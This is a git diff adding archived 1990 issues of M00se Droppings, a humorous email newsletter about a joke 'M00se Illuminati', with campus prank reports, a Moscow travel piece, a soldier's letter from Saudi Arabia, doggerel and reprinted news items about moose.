bummed. + It doesn't seem like a very m00sey thing to do. + I think there are anti-m00se out there, masquerading as m00se. + I think G.B. and his playmate little Saddy are the anti-m00se. + Unless it's Tipper Gore. + What do you think? Should we start giving out a prize for the m00siest +and least m00siest actions every issue of Droppings? + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + + There have been many changes since last issue, so I will send a complete +list of Cyberm00ses after this issue. + +================================================================================ +R -- STEAL THE AIR -- STEAL THE AIR -- STEAL THE AIR -- STEAL THE AIR -- STEAL T +================================================================================ diff --git a/textfiles.com/magazines/M00SE/m00se45 b/textfiles.com/magazines/M00SE/m00se45 new file mode 100644 index 00000000..3e1516c1 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se45 @@ -0,0 +1,497 @@ +================================================================================ +REUNIFICATION ISSUE -- REUNIFICATION ISSUE -- REUNIFICATION ISSUE -- REUNIFICATI +================================================================================ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue 45 | Disclaimer: The Editor does hereby take responsibility | 10/04/90 +---------- for the full contents of this newsletter. Accountability ---------- +is now the name of the game. A pox on playing it safe. Let's get real. Bl00p. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** THE ISSUE AT A GLANCE ***************************** +-------------------------------------------------------------------------------- + +EDITORIALS AND LETTERS + Pickle wastes some bandwidth + +IMPORTANT ANNOUNCEMENTS + A contest in Alaska + +EVENTS AND NEWS + Progress in strategic placement by the Marist thr0ng + An update on activities at Clemson University + +INTERESTING ARTICLES + A m00se in Moscow + A letter from Saudi Arabia + More prophesies of the coming of the M00se Age + +FICTION AND POETRY + Some doggerel from Silverm00se + +M00SCELLANEOUS NONSENSE + The great Elvis debate continues + M00sebabble from Mugwump + Vam00se on milk cartons + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Howdy, all. + Well, it's now been nearly 48 hours since Germany became Germany again, +and nothing's gone wrong outside their borders. Nothing directly attributable +to reunification, that is. What we must ask ourselves is, "Is this remarkable +event a shining symbol of forthcoming world peace, or a sinister plot of the +Bavarian Illuminati? And are they *really* going to put a speed limit on the +Autobahn?" + But those are not questions I wish to deal with right now. + As I write this, some five days after moving back home with my parents, +the weather is looking grim. Trees are whipping around, and wind is +periodically making that noise outside my window that keeps me awake at night. +It's quite nice. + We've lost two m00ses since you received issue #44, but we've gained +three. One of them has pointed out to me that M00se Droppings is being +archived at a pub/m00se directory on the quartz.rutgers.edu anonymous ftp +archive. I don't know who put them there, but it's yet another indication that +more people than ever are being exposed to our literature. + I received quite a few submissions for this issue, so I don't want to take +up much space here. Please, by all means, continue sending your submissions. + Next issue: The BOLSHOI Project. + + Bl00p, + + Pickle + +-------------------------------------------------------------------------------- +************************** IMPORTANT ANNOUNCEMENTS ***************************** +-------------------------------------------------------------------------------- + +[Let's go for it. These people have to learn when to slash their 'o's. + Submitted by Mugwump. -wrd] + + + Flyer posted around campus this week: + --------------------------------------------------------- + + WANTED + + (picture-of-moose-horns) + + Moose Stories + Humorous Encounters + Moose Attacks + Backyard Stories + Highway Hassles + City Dwellers + + Submit typed or neatly written stories, 100-1000 word + stories to the following address: + + Animal Stories + P.O. Box 148-A + Palmer, Alaska 99645 + + Include Phone No. and self-addressed, stamped envelope for + reply and payment information + + ------------------------------------------------------------- + + So, all you M00SE-- send your m00siest stories to the above address. +Let them know what a powerful, all-pervasive and off-the-wall illuminatus +organization this is. Good luck. + +-------------------------------------------------------------------------------- +****************************** EVENTS AND NEWS ********************************* +-------------------------------------------------------------------------------- + +[Our Marist thr0ng has successfully infiltrated a number of important + positions. Good work, m00ses! Submitted by Rescue M00se. --wrd] + + +Marist M00seketeers infiltration: + + ORGANIZATION INFILTRATED POSITION SEIZED + ======================== =============== + + College Union Board: VP + Commuter Union: Members and President :*) + Computing Facility: Lab Manager + Computing Society: Members + Marist EMS: Founder + Marist Health Services: Multiple EMTs + Marist Media Center: Lab Tech + MCTV (Marist College TV): Producer, Camera Man + Outback Club: Members + Student Aides: Members + System Operations: Senior Systems Op + Systems Programing: System clerk + +Off campus: + + Culinary Institute of America (CIA): Operations Manager + Dutchess County Disaster Team: Member + IBM: Lab Instructor + Red Hook Fire Dept: FF-EMT (guess who :*) + +We are moving right along :*) + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[News from Clemson. I really like the library-book idea. Submitted by SNAFU + M00SE, correspondent for the MUSElix thr0ng. --wrd] + + + Ever since seeing the light of m00sedom last spring, the conspiracy in the +upper corner of the lower south east has been growing steadily. I have +personally presided over 10 initiations in the past six months, and there is +no telling how many other pawns our lost members have accrued. + The general goal of the m00ses of the thr0ng of the Mid-Upper South East +(MUSE, pronounced MUSElix like the cereal for confusion), apart from a vain +attempt to get better grades, has been to strive to increase membership and +awareness of the illuminati wherever possible. This generally consists of +intoxicating ourselves and rambling on about the secret conspiracy that will +one day unite the world under its majestic antlers. + Usually, this provokes strange glances from the un-illuminated, but +occasionally, we find a being truly worthy of M00sedom, and they are promptly +educated and given membership. + Another thing we have done is to print up dozens of little scraps of paper +with the majestic symbol of the pyramid (long may it stand). These scraps are +left in books in the library, stuck on boards and generally left all over the +place. Much confusion has abounded. + Anyway, the semester is just getting underway. Many more m00sey things +will soon spring up all across the country. + Incidentally, for any of you who happen to be planning to go to Magnum +Opus CON in April, there will be a TOP SECRET M00se Illuminati membership drive +and weenie roast held on the party floor. The time and place will be posted +all over the con, so keep an eye out for the sign. BL00P. + +-------------------------------------------------------------------------------- +**************************** INTERESTING ARTICLES ****************************** +-------------------------------------------------------------------------------- + +[A m00se in Moscow -- Wrangle opens grand new frontiers for the M00se + Illuminati -- mother Russia herself. -wrd] + + + INSIDE COMMUNIST RUSSIA + +Moscow--Wrangle reports on the demise of the International Communist + Conspiracy + + It was a job for Joe Bob Briggs, the only man in America with the guts to +confront the Red Menace head-on. But Joe Bob was passed out in a topless bar +in Amarillo (a little well deserved R & R), so I had to do the best I could. +Fortunately, I had listened to Joe Bob's warnings. I thought I was ready. I +was wrong. + I slipped into Moscow with little difficulty. The invitation to lecture +on metaphysics at the Institute of Philosophy of the USSR Academy of Sciences +lulled the border guards into carelessness. My contacts from the Institute +helped me check into the hotel--visit three separate offices where no one +speaks English, fill out 11 pages of forms printed in Russian, surrender your +passport to the hotel administrator and pay a fee for the privilege of doing +so--a piece of cake. Then we hopped a subway to visit my hosts at the +Institute. + I knew I was in trouble even before I got out of the subway station. I +rounded a corner and Rambo leapt from behind a pillar with an assault rifle +levelled at my chest!!! Or so I thought. In fact, it was just a poster. Some +enterprising Muscovite was raking in the cash selling life-sized posters of +American pop culture icons--Rambo, Madonna (nice cleavage), several blonde +bimbos with wet t-shirts (or no t-shirts at all). + Matters went downhill from there. Poets and rebels denounced Gorbachev on +street corners, police officers inquired politely about prices at an UNOFFICIAL +art fair, every other person I passed on streets offered to exchange money (the +official rate is 6 rubles to the dollar, the street rate is 20 to 1), and I +couldn't find anyone anywhere who would admit to being a communist. + Ah, but there were signs of communism everywhere. The infrastructure-- +roads, buildings, bridges, trains--is deteriorating at an unbelievable rate. I +took the stairs to and from my 12th floor hotel room because the elevator was +just too terrifying. The cars were so old that no self-respecting junkman +would have them on his lot. The senses were continually assaulted by the +sights and sounds and smells of decay. I even chain smoked because it was +cleaner than breathing. + Ah, but pollution isn't the only thing that hangs heavy in the Moscow air. +There's revolution afoot. The old people seem afraid of the changes they know +are coming, but the young people and the intelligentsia are ready to rock and +roll. The black market operates openly in the streets, intellectuals don't +even bother to pretend to have any respect for Marxist ideology, newspapers +denounce the government in a dozen languages--I would have given my eye teeth +for even a half a case of good, American dynamite. + A perfect environment for someone who likes to shoot off his mouth. Yours +truly rose to the occasion, although with some difficulty. It is hard to say +anything shocking or radical in a country which is preparing to dismantle the +central government, dissolve into its constituent republics, and completely +eradicate all traces of 70 years of communist government; thus, I approached my +lectures to the Institute with some trepidation. Finally, in desperation, I +opined that George Bush is the modern incarnation of Lenin, and that the +peoples of the USA and the USSR must make common cause against this threat of a +new communist conspiracy, arising like a Phoenix from the ashes of the old. +But even this blatant lunacy produced more sympathetic responses than +denunciations. + What finally defeated me utterly was the retail system from Hell. +Shopping in Moscow is simply not possible for someone born and bred in the +United Consumers of America. The Soviet retail system is designed to make the +acquisition of the necessities and luxuries of life nearly impossible. For me, +it was impossible. I was forced to slink out of Moscow with nary a thing in my +bags to capture the attention of the Customs Agents. + Joe Bob, a true patriot, likes to brag of the USA that "this ain't +Communist Russia." I'm here to tell you that Communist Russia ain't Communist +Russia no more either. It is not clear what it is going to become, yet. But +one thing is clear: the people of Russia and several other of the republics +that comprise the USSR have decided to kick ass and take names. And inquiring +minds want to know who is going to end up with the missiles. You can bet that +I am looking into acquiring one for myself. + The demise of the International Communist Conspiracy is many things. But +most of all, fellow M00ses, it is an opportunity. Seize this opportunity. +Denounce the government. Subvert the evil plans of George Bush and the +Trilateral Commission. Spread vicious lies about politicians. Refuse to +register for the draft. Encourage disorder in any way you can. Make trouble!! +Our comrades in the USSR have shown us the way. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[This letter was originally submitted to the POLITICS list by Harl0ck. His + introductory remarks will explain more. --wrd] + + + This morning's "Central Michigan Life" [Sept. 28] had an interesting +article concerning what was going on in Saudi Arabia. Briefly, a mother of one +of the soldiers in SA received this letter. For reasons that will be clear +when you read it, it enraged her, and she's been going public with it, because +she fears for her daughter's life. The letter was printed in its entirety in +CM Life, and it is from that I'm taking what is below. The mother's name is +Bobbie Slockum, and her daughter (the soldier who wrote the letter)'s name is +Debbie, although Debbie's last name is different from her mothers. No spelling +errors in the letter were corrected. + +------------------------- + +Mom, + I was really hoping I didn't have to write this leter. I didn't want you +to know what was really going on - cause I didn't want you to worry about me +any more than you already do. + I hope this letter makes it to you - I don't know if they go through our +mail. But I feel that our families have just as much right to know what we're +up against as the soldiers do. + About four days ago, they took all our ammunition away from us. They +said they didn't want us to hurt each other. We're sitting ducks. Five to +seven thousand soldiers in one building - and no ammunition. + They've rendered the whole division defenseless. I think that's really +stupid. Mom, I'm really scared. I can't remember a time in my life I was +more scared than I am right now. + Our commanders finally decided to tell us what's going on. And it isn't +pretty at all. I don't know what the news is telling you back home - but I'm +gonna tell you how it really is. + This is one of those "you better sit down" letters. There has been +several known terrorist groups found inside our perimeter. Something that +wasn't supposed to be able to happen. They are planning to hit two (that we +know of) places where U.S. soldiers are at. + King Fahd International Airport - which is where we are at (with no +ammunition) and Da-ha-ron Airport, where all our equipment and supplies come +in. That we could figure out. We're prime targets. + Yesterday they found a terrorist *inside* our building where we sleep. +He was carrying blueprints to the building. They were marked where all our +air missles are located - where all the units are located inside and where +all the officers sleep. We were told that the shit could come down any day +now. + This isn't summer camp. I could lose my life - and I don't wanta die. + I don't want to be here. And I don't want to die. Mom - I'm scared. +Please pray for me. Pray for all of us over here. + I didn't want to cry before - cause I didn't want to look like a fool. +I'm crying now. I don't want to die - and I might not get to see my family +again. If that makes me look like a fool - then I'll be a fool. + I love you Mom - and I'm gonna do what ever it takes to come home alive. + +P.S. Please pray for Becky, too. I love her very much. + +----------------------------------------- + +Some scary stuff, indeed... + +Gary W. Olson (34EPWQL@CMUVM.BITNET) Central Michigan University +----------------------------------------------------------------------- +"...there are periods of history when the visions of madmen and dope fiends +are a better guide to reality than the common-sense interpretation of data +available to the so-called normal mind. This is one such period, if you +haven't noticed already." ("The Illuminatus! Trilogy") + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[More from the M00se Prophet, Lord Sabre. --wrd] + + + Being the next chapter in the Signs of incipepent and total M00siness.... + + + Deep in the American Midwest, a woman leans up against a tree. She is +young, and lovely, with reddish hair, light green eyes, a soft look to her +face, and a warm, caring personality. She has managed to avoid the rampent +Republicanism and staid attitudes of her hometown, and within her lovely breast +beats a heart that yearns to beat free. + With a crash of thunder and light, the mighty god Apollo desends to Earth +before the lovely lass, majestic in his solar glory and omnipotent in his +demeanor. + "Excuse me, miss," Apollo says, mildly, "One of my friends is having his +opening night concert at the Philadelphia Spectrum. Could you direct me that +way?" + Quietly, the girl pointed east. + "Thank you," the god said, and left, leaving the girl to her dreams. + But that is another vision. + + The third sign will arise when Vince McMahon, Jr., the Promoter and +President of the World Wrestling Federation and all-around slimeball, will +explode during a tough play-by-play with Rowdy Roddy Piper. However, the +Spirit of McMahon will survive, and will sense an underdeveloped brain with +little coherent thought and no personality to speak of. Sensing that this body +is one of an inferior being, McMahon will obliterate the soul of the person and +viciously take the body over. + "God, I'm scrawny," he will say, as soon as he becomes coherent. "This +body needs some steroids, and fast. I'll have to make some calls. I hope the +idiot I'm replacing has a little money to play with." + So saying, McMahon will go through his body's wallet. He will stare at +the Federal Identification Card for a while. + "Daniel Quayle," the card will read, "Vice-President. No, really. If +this person shows up at the Senate, you have to let him in." + "Daniel Quayle?" McMahon will sputter, "I've become Vice-President?" + This will be the third sign, and much M00sy anarchy will result. + + "FRENCH FRIES!!!!!!!" The omnipotent Leviam00se will shriek, quite +incoherent, now. "I WANT **FRENCH FRIES**!!!!! SAY IT!!!" + "Mmm mmmmm mmmmmm mmmmm. Mmmmm mmmm mmm mmmmmmm mmmm mmm?" the speaker +will say. + "I'M LATE FOR THE AGE OF M00SINESS, YOU IMBECILE!!!!! LEMMIE GET MY FOOD +AND GET OUTTA HERE!!!" + + Thor and the Sacred Uru Hammers do indeed open at the Spectrum, with +several Gods and thousands of screaming worshippers in the audience. Also, all +of the people who have made it their careers to attend opening nights (in hopes +of appearing on Entertainment Tonight and maybe getting a movie deal) will also +show up, but the Valkerior will desend from Asgard and slay them, so it'll be +all right. + As Thor wraps up a successful cover of "Iron Man," involving several +tossess of the hammer and structural damage to the spectrum, he notices many +nubile females ripping their clothes off and hurling them onto the stage. + Thor leans over to Heimdall, the Guardian of the Rainbow Bridge and lead +bass for the Sacred Uru Hammers and mutters, "Y'know, this is loads better than +the days when Vikings would take their helms off when it thundered." + "What it is, Bossman," Heimdall will reply, as Clarence Clemens goes into +the first Heavy Metal Sax Solo in history. + + +More....later. + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +[Some short doggerel from Silverm00se. --wrd] + + Puck, schmuck, raise a duck + Bite its beak, it's good for luck + A wicker windmill grinding dope + Ship it east out to the Pope + Pennies flipping, women dripping + I think my mind is quickly slipping + Stephen Honking slowly bonking + His head into an open stocking + "Stick 'em up!" he yells with vigor + "And fill my telescope with liquor!" + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +[Pat continues his argument on the "Elvis eats boats/Elvis needs boats" + question. --wrd] + + + How can he be "Captain Elvis", "Commodore Elvis", or "The Sailing Elvis" +without a boat? Obviously, he NEEDS a boat. + + +[Pat also claims to have found that this is the truth by -- get this -- buying + the compact disc in question and listening to it closely. A likely story. + Is it not possible that Elvis is merely exercising his extraordinary powers + of confusion to prevent clear vision in this matter? --wrd] + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[I think Mugwump should provide us with this kind of thing every issue. --wrd] + + + I almost hit a couple of m00se on my way to school this morning. At first +I saw them out of the corner of my eye, and I thought they were horses, but as +I got closer they ran across the road and became m00se and I was glad I didn't +hit them because I have a fairly small car and it would have caused quite major +damage to the m00se, the car, and myself. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Vam00se discourses on milk cartons, of the U.S. and soviet variety. -wrd] + + + Issue #44 reminded me of....milkcartons. Okay, so maybe they were already +on my mind, or maybe, just maybe, there was some sort of subliminal message +that *made* me think of milkcartons. Anyhow, I am currently thinking of +milkcartons. Who invented them? I don't know. + Somewhere along the line when we stopped having the milkman leave them in +that little box at the side of the house (my house doesn't even HAVE a little +box there, but my grandfather's used to, and it is his that I think of whenever +I think of that little box that milkmen opened and sat the milk into -- surely +you know of what I speak) in recyclable glass bottles (in fact, you weren't +supposed to keep the bottles, I guess) and instead sent mothers and general +shoppers out to the grocery store to fetch little wax-coated paperboard +cartons. The kind that has a weird little double-sided arrow on one end and +'open other end' at the other, or similar information. The general theory is +that you pull open the two sides, something which is rarely accomplished, and +then you push out a spout. Normally what happens is the carton is gouged from +step 1, causing milk to dump all over the table while pouring. Now, is this +solely american, or is this some sort of international conspiracy? + Well, I don't know. I haven't seen the milk cartons of most countries. I +bet some of them still have milkmen. But in Moscow, your quart of Moloko comes +with ingenious instructions. There are those funny double ended arc-shaped +arrows on BOTH sides of the carton. There's also a diagram of the "proper" way +to open a milk carton: + Pull apart the two ends, like we do here, and make the spout. Then +duplicate this action on the other side. That's right, you've lost your +pouring spout. You instead have a big square hole leading straight down to +your milk. Then you kind of press it into a warped star formation and pour. +No way to reseal it, and many chances of spilling. I'm not kidding. I have +the carton at home if you want proof. + So anyhow, what they do with a milkcarton in Moscow is beyond me. I don't +grasp the concept. But they probably still have milkmen, and maybe a hole in +the wall. Not to say that there will be milk, or that it won't glow in the +dark from the farmlands of chernobyl, where over 2,000,000 Soviets still live. + Now, we still have postmen who come to the door, delivering mail. But he +doesn't ring bells, let alone twice. And he doesn't bring milk. And I used to +have a mailman who didn't even bring mail daily. He saved it up somewhere, I +guess. Now we have a new mailman who brings me milkcartons from moscow, but +without milk. For variety, they contain two matreshkas, three pins, and ten +kopeeks. And they couldn't even get the directions straight. + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + + Silly me. It seems I forgot to mail it with last issue. So, following +*this* issue, will be a complete and updated M00se list, complete with landed +m00ses. Really. + +================================================================================ +ON ISSUE -- REUNIFICATION ISSUE -- REUNIFICATION ISSUE -- REUNIFICATION ISSUE -- +================================================================================ diff --git a/textfiles.com/magazines/M00SE/m00se46 b/textfiles.com/magazines/M00SE/m00se46 new file mode 100644 index 00000000..7c28e1ea --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se46 @@ -0,0 +1,489 @@ +================================================================================ +WINONA RYDER IS MY ONE TRUE LOVE ISSUE -- WINONA RYDER IS MY ONE TRUE LOVE ISSUE +================================================================================ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue 46 | Disclaimer: The Editor does hereby take responsibility | 11/25/90 +---------- for the full contents of this newsletter. Accountability ---------- +is now the name of the game. A pox on playing it safe. Let's get real. Bl00p. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** THE ISSUE AT A GLANCE ***************************** +-------------------------------------------------------------------------------- + +EDITORIALS AND LETTERS + Pickle introduces the issue (surprise) + +IMPORTANT ANNOUNCEMENTS + Back issues available + A cry for help from the Br0ckport thr0ng + Sabre makes a conspiracy-enhancing suggestion + JiMb00se talks about the folks in the desert + Mugwump talks about the winter holidays + +EVENTS AND NEWS + Two not-made-up news items about m00ses + MUSELIX thr0ng progress report + +INTERESTING ARTICLES + The facts about m00se/car collisions + +FICTION AND POETRY + "Demon Rabbit" by Faye Lavin + +M00SCELLANEOUS NONSENSE + The fourth sign of the M00se Age + Road sign of the M00se Age + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Bl00p and well-met, everybody. Now, you probably expected this to be the +Thanksgiving issue, since it's coming out on Thanksgiving and all, but it was +not to be. + I have a plan, by the way, for getting Winona Ryder away from Johnny Depp. +It's a very detailed and sophisticated plan, and it cannot possibly fail. If +anybody out there knows where I can get a large, well-armed, luxurious airship +(rigid or semi-rigid envelope only), please contact me privately. + Once again, I must apologize for the time it took to get this issue out. +I am employed, in a manner of speaking, doing temp work for the local nuclear +power company, and I haven't been doing much else besides coming home, lounging +around in a semi-exhausted state, and then going to sleep. I'm trying to find +employment and quarters in Central New York, Ithaca or Syracuse specifically, +and that's taking up some of what little time I have remaining. Hopefully, if +I succeed in my attempt to leave this area, I'll have more time when I get +settled in. In the meantime, we'll have to look to M00se Dr00l and any other +alternative m00se-oriented publications to fill in the gaps between issues of +Droppings. + When you reach the bottom of this issue, you'll notice the lack of a +Ubiquitous M00se List Update. I have decided that, since the newsletter is +being sent rather infrequently, I will simply send a complete m00se list each +time I send the newsletter. If this will cause problems for anyone, let me +know, and we'll see if we can work out something else. + One last thing. I am holding the M00se C0de posting for next issue, +because I don't know who sent it. Please contact me and let me know, whoever +you are. + And now, on with the issue..... + +-------------------------------------------------------------------------------- +************************** IMPORTANT ANNOUNCEMENTS ***************************** +-------------------------------------------------------------------------------- + +Back issues of M00se Droppings are now available at quartz.rutgers.edu via FTP. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[A plea from CoM00tose.] + + +To every m00se in every last m00secollege: + + IT'S TIME TO ADDRESS A NEW M00SETOPIC + + The topic is about our college policy regarding hours of operation for the +computer labs, and we need all you m00ses out there to help us. + All the m00ses and other non-m00ses here at SUNY@BROCKPORT have fallen +victim to administrative m00secrap. They have taken control and made our lives +miserable (well, maybe slightly exaggerated). This problem pertains only to +the computer lab which gives access to our MAINFRAME COMPUTER. So here is our +problem. + Our computer lab has set posted hours of operation. During these hours +there is a User Consultant and a student Supervisor on duty to help students +with any problems that may arise. The Supervisors are given keys to the +computer lab, which makes them the only ones that can open and/or close the +lab. The policy in the past was simple: The supervisor could keep the lab +open after the posted hours, allowing the public to use the facilities. The +lab would be officially closed when the supervisor wanted to go home. The time +a supervisor stayed late was on their own time (non-payroll). Thought process +is that if a supervisor is here anyway, there is no difference if it is after +the posted closing hours. This policy worked great and there were no problems +(everyone was happy). + Fall of 1990 we had an administrative change! As you can guess the policy +of keeping the computer lab open after hours was changed. The new policy is +that the lab is closed to the public at the posted closing times. Only the +staff that works in the computer lab is allowed to stay. Of course only +supervisors have keys so they control when the lab is to close. Most of the +people that work in the lab are computer science majors, or people that need +access to the system, and the supervisors would prefer to let the public have +access to the system. + Strength is in numbers and everyone has the ability to help, so we need +you to prevent us from being taken advantage of by our administration. All the +m00ses that have similar policies of keeping their computer labs open after the +posted hours (for the public), or the labs that are kept open 24 hours a day, +PLEASE send mail IMMEDIATELY. Let us know what your policy is, how long you +have been using this policy and anything else you think might help us to +convince our administrators to change the policy. + You can send E-mail to either of the following Br0ckp0rt m00ses: + +Bitnet -----> KARL or DC9887 @brock1p +Internet ---> KARL or DC9887 %brock1p.bitnet@cornellc.cit.cornellc.edu + + + Thank you all for your time, + + The Br0ckp0rt Thr0ng + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[An idea put forth by Lord Sabre.] + + + Hey, all you m00ses out there in TVland!! I've got a conspiracy-enhancing +thought! Does anyone with Internet access know how to create Alt groups on +Readnews? If so (da da duummmmmmm)-- + + ALT.M00SE!!!!!!!!! + + Alt groups can apparently be created by anyone who knows how, and they're +carried by a lot of different places on the Netnews system. I have felt for a +while the M00se need a stronger Internet Access, and well, this is our chance, +whaddya say? + + +[Almost immediately upon receiving Sabre's letter, I received a file containing + complete instructions on starting Internet newsgroups. (Coincidence? I think + not.) The file is much too long to include here, and the procedure is rather + complicated. It could be best handled by somebody who has full access to the + Internet. Any volunteers, please contact me and I'll send the file. -WRD] + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[A fine proposal from JiMb00se.] + + + I have a proposal. We M00ses are obviously opposed to the war in the +Middle East, since it takes away valuable time from important M00sey activities +such as the drinking of fine ale and kicking small bits of cloth around a lawn +to impress women-folk. + But it seems inevitable that some M00ses or friends of M00ses or family of +M00ses will be dragged over there to fight in the desert. I have never been to +war, but I would imagine that those who are there would very much appreciate a +kind word from home. + I have read that mail addressed to 'Any Service Person' is clogging up the +system so much that regular mail is slowed down. Also, mail from some +anonymous stranger simply CAN'T be a fulfilling as mail from someone you are +related (however tenuously!) to. + Here is my suggestion: if you know of a PARTICULAR person who would +appreciate a large quantity of rather unusual mail from a diverse population of +odd characters, perhaps you could let us all know and we could write to them. + I suggest people should be chosen with the following priorities in mind: + + 1> M00ses first + 2> People who wouldn't call the cops on us for being weird second + 3> Families of M00ses third + 4> Friends of M00ses fourth + + Actually, it might be best to concentrate our efforts on some ONE person. +Maybe Pickle could moderate... + + +[I fear I could not be the moderator. I barely have time to edit the news- + letter, as you can see! I think it's a great idea, though. My mother has a + second cousin once removed (what does that mean, anyway?) who is in the + desert. A Pink Iguana Tavernite has just been sent. I'm sure we can find + some worthy targets. -WRD] + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Another, slightly similar, but more festive suggestion from Mugwump.] + + i was compiling my christmas card list this afternoon, & got to thinking: +how about compiling a m00se christmas card list -- a list of people all m00ses +would be encouraged to add to their christmas card lists. my list currently +includes such exciting people as: + + the director of the national injury information clearinghouse + the commander of the u.s. army nuclear and chemical agency + the chief of the mass media bureau of the fcc + + and other such fun and exciting people whose lives would probably be +brightened by receiving cards from an "organization" such as the m00se. the +list could, of course, be distributed through the droppings. + sound like fun? if so, i'll go ahead and type in my list, if not, i won't +take the time (not that i mind doing it, but my life is hectic & i don't want +to spend the time for something that won't get used.) + + bl00p, + + mugwump + (who's not in a caps mood today) + +-------------------------------------------------------------------------------- +****************************** EVENTS AND NEWS ********************************* +-------------------------------------------------------------------------------- + +[Wasted M00se provides us with these two news items. 0's slashed and plurals + corrected by me, for clarity.] + + + SCITUATE, R.I. (UPI) -- A wayward m00se, the first to be seen in Rhode +Island in several years, has apparently decided to return to more familiar +surroundings. + A dispatcher with the town Police Department said Tuesday the m00se, +reported to be about 7 feet tall, was seen three days ago running toward the +Scituate Reservoir. It has not been sighted since, said the dispatcher, who +declined to give his name. + Thomas A. Greene, a deputy with the state environmental enforcement +division, said his department had confirmed the m00se sighting, but he was +reluctant to talk about it. + "We're trying to discourage as much publicity as we can," Greene said. +"We'd rather not have people out harassing it and chasing it across the +street." + Greene said Rhode Island is an atypical place for a m00se to be, and that +one shows up every three or four years. + The m00se was reported to have antlers about 1 foot high, but it was +uncertain whether it was a male or a female. Authorities advised Rhode +Islanders to back off if they see the m00se and then call police. + + + ALBANY, N.Y. (UPI) -- Big Richard, the amorous Adirondacks m00se famous +for wooing cows, horses and even a pig, has state conservation officials +concerned because his radio collar is losing its ability to beep. + The bull m00se is the only one in the state with a transmitting noose, +said Department of Environmental Conservation biologist Al Hicks, and now that +he is needed more than ever he's given everyone the slip. + The loss of the signal is coming just as the state agency is studying +whether to introduce female m00ses to New York's wilderness for breeding +purposes, Hicks explained. + And the radio collar's signal is so faint that as of two weeks ago state +m00se trackers have been unable to find him. + Big Richard, now playing hard-to-get, was last seen in the Saranac Lakes +area munching apples and ogling some horses, state wildlife officials reported. + Hicks estimates that between 15 and 30 m00se spend at least a part of +their year in New York, while Big Richard appears to have settled permanently. + "Where he is now is anyone's guess. We have not had contact in two +weeks," Hicks said. + The transmitting problems are worsened, he said, by hilly terrain that at +best keeps signals down to about two miles. + Hicks said Big Richard had been collared twice already. + "He was re-collared a couple of years ago in Lewis County on a dairy +farm," Hicks said. + Apparently farmers complained at the time that he was making some cows +nervous, Hicks said. + "We expect to lose the signal because the collars only have a limited life +expectancy," he added. + But Hicks said the passionate m00se's amorous adventures, including a +rumored liaison with a pig, may be overstated. + "He just wants the company of other animals and there are a variety of +farm animals up in Saranac Lake," he said. + The m00se shouldn't present much of a problem until next year, Hicks +added. + "The mating season ends in October," he said. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Another impressive progress report from SNAFU M00SE.] + + + M00sedom is strong and thriving on the Clemson Campus and in the Mid- +Upper-South East. We are organizing stuff for a big convention that is rolling +into the area at the end of next semester, and hope to muchily confuse and +confound everyone that we meet. + Our primary goal right now is to get some t-shirts printed with a small +M00se symbol on the left breast pocket. That should hopelessly confuse anyone +who attempts to figure out what the symbol is. + Other projects are regular postings of Important Messages (tm). We have +thousands of little scraps of paper with the pyramid and antlers (tm) photo- +copied onto it. We write some strange and confusing note on the scrap like: +'Breathing is Essential,' 'Remember the Dwarf,' or 'Beware the M00ses of Dawn.' +Then we pick a number at random and title it Important Message # (tm) (note the +confusion factor goes up if the masses see the same message with two different 